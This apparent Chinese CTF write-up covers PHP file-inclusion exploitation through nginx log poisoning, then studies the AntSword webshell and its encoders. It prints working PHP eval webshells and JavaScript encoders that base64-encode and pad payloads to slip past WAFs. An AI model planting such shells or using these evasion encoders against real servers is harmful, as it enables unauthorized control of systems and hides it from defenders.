作者 by Yichen / 2023-08-11 / 暂无评论 / 40 个足迹
代码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/php/i",$c)){
include($c);
}
}else{
highlight_file(__FILE__);
}
?>
测试发现data伪协议没开,php伪协议中php被过滤,了解到用nginx的服务器,发现/var/log/nginx/access.log日志文件可以访问
并且保留了User-Agent:头,因此抓包尝试木马注入

传入木马发包看到出现DDD字样说明写入成功
这里连接成功注意使用了base64编码
成功了。
这里还有另一种方法:
使用`进行命令执行结合echo打印得echols`;成功得到文件名
以此进一步tac 36d.php
成功回显。
关于蚁剑的理解
(以下部分主要是思路,实现代码目前并不能完全看懂)
开始的时候使用default编码一直不成功,后来使用下面的编码就成功了,深入了解了一下蚁剑的编码器和解码器,蚁剑本身是通过POST传参进行命令控制的,设置抓包看一下如图:
@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "ac589"."682c6";echo @asenc($output);echo "8c47f"."ae3536";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
大概传的命令就是这一串,而编码器的作用就是将这部分加密
如图,若使用base64编码器:
@eval(@base64_decode($_POST['x27f0691c8b503']));&x27f0691c8b503=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiNWNiIi4iZTEzOSI7ZWNobyBAYXNlbmMoJG91dHB1dCk7ZWNobyAiYmQwYmE2Ii4iNDk1MjdjIjt9b2Jfc3RhcnQoKTt0cnl7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JFI9InskRH0JIjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJDIiwiWiIpYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO31lbHNleyRSLj0iLyI7fSRSLj0iCSI7JHU9KGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0ZWdpZCIpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6IiI7JHM9KCR1KT8kdVsibmFtZSJdOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iCXskc30iO2VjaG8gJFI7O31jYXRjaChFeGNlcHRpb24gJGUpe2VjaG8gIkVSUk9SOi8vIi4kZS0+Z2V0TWVzc2FnZSgpO307YXNvdXRwdXQoKTtkaWUoKTs=
可以规避掉一些防火墙的检查但其中还有一些明文php代码,这就需要了解一下蚁剑的编码器规则
/**
* php::base64编码器
* Create at: 2020/05/19 16:35:59
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}在自定义编码方式时只需要去修改data['_']
如下图是修改过的编码器:
/**
* php::base64编码器
* Create at: 2020/05/19 16:57:59
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
data[pwd] = Buffer.from(data['_']).toString('base64');
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}由于上述的编码器没有自动解码传入的payload,所以需要在webshell中解码payload,将webshell改为如下的形式:
<?php eval(base64_decode($_POST['test']));?>
即需要配套的shell对编码结果进行解密再执行
还有一个例子就是在base64后的payload前后加上一些字符串防止被解码探测到php代码:
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[pwd] = Buffer.from(data['_']).toString('base64');
//base64编码的前后再拼接随意定义的一个字符串
data[pwd] = "lwk02nm" + data[pwd];
data[pwd] += "lwk02nm";
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}同样,shell要写成:
<?php
$st = $_POST['test'];
$sa = str_replace('lwk02nm','',$st);
eval(base64_decode($sa));
?>去掉加了的字符进行解密执行
此外,由于蚁剑只会对data[pwd]里面的参数按照设定的编码器编码,其它参数默认使用base64编码,所以其它参数一旦被waf解码还是会有明显的特征,从而导致被拦截。可以遍历其他变量进行加密,大佬给出的方案是这样
/**
* php::base64编码器
* Create at: 2020/05/21 13:07:23
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data) => {
// ########## 请在下方编写你自己的代码 ###################
let ret = {};
for (let _ in data){
if (_ === '_') { continue };
ret[_] = Buffer.from(data[_]).toString('base64');
ret[_] = 'lwk02nm' + ret[_];
ret[_] += 'lwk02nm';
}
ret[pwd] = Buffer.from(data['_']).toString('base64');
ret[pwd] = 'lwk02nm' + ret[pwd];
ret[pwd] += 'lwk02nm';
// 返回编码器处理后的 payload 数组
return ret;
}参考博客https://darkless.cn/2020/05/19/antsword-bypass-waf/
关于解码器:
蚁剑的编码器是编码或者加密蚁剑向服务端发送的请求包的,所以解码器是用来编码或者加密服务端返回给蚁剑的数据包的,编码后的数据包只有蚁剑能够解码。因为不排除有些waf会检测返回包,所以有时也需要使用解码器。
(此外蚁剑还有很多插件有待进一步了解使用)
独特见解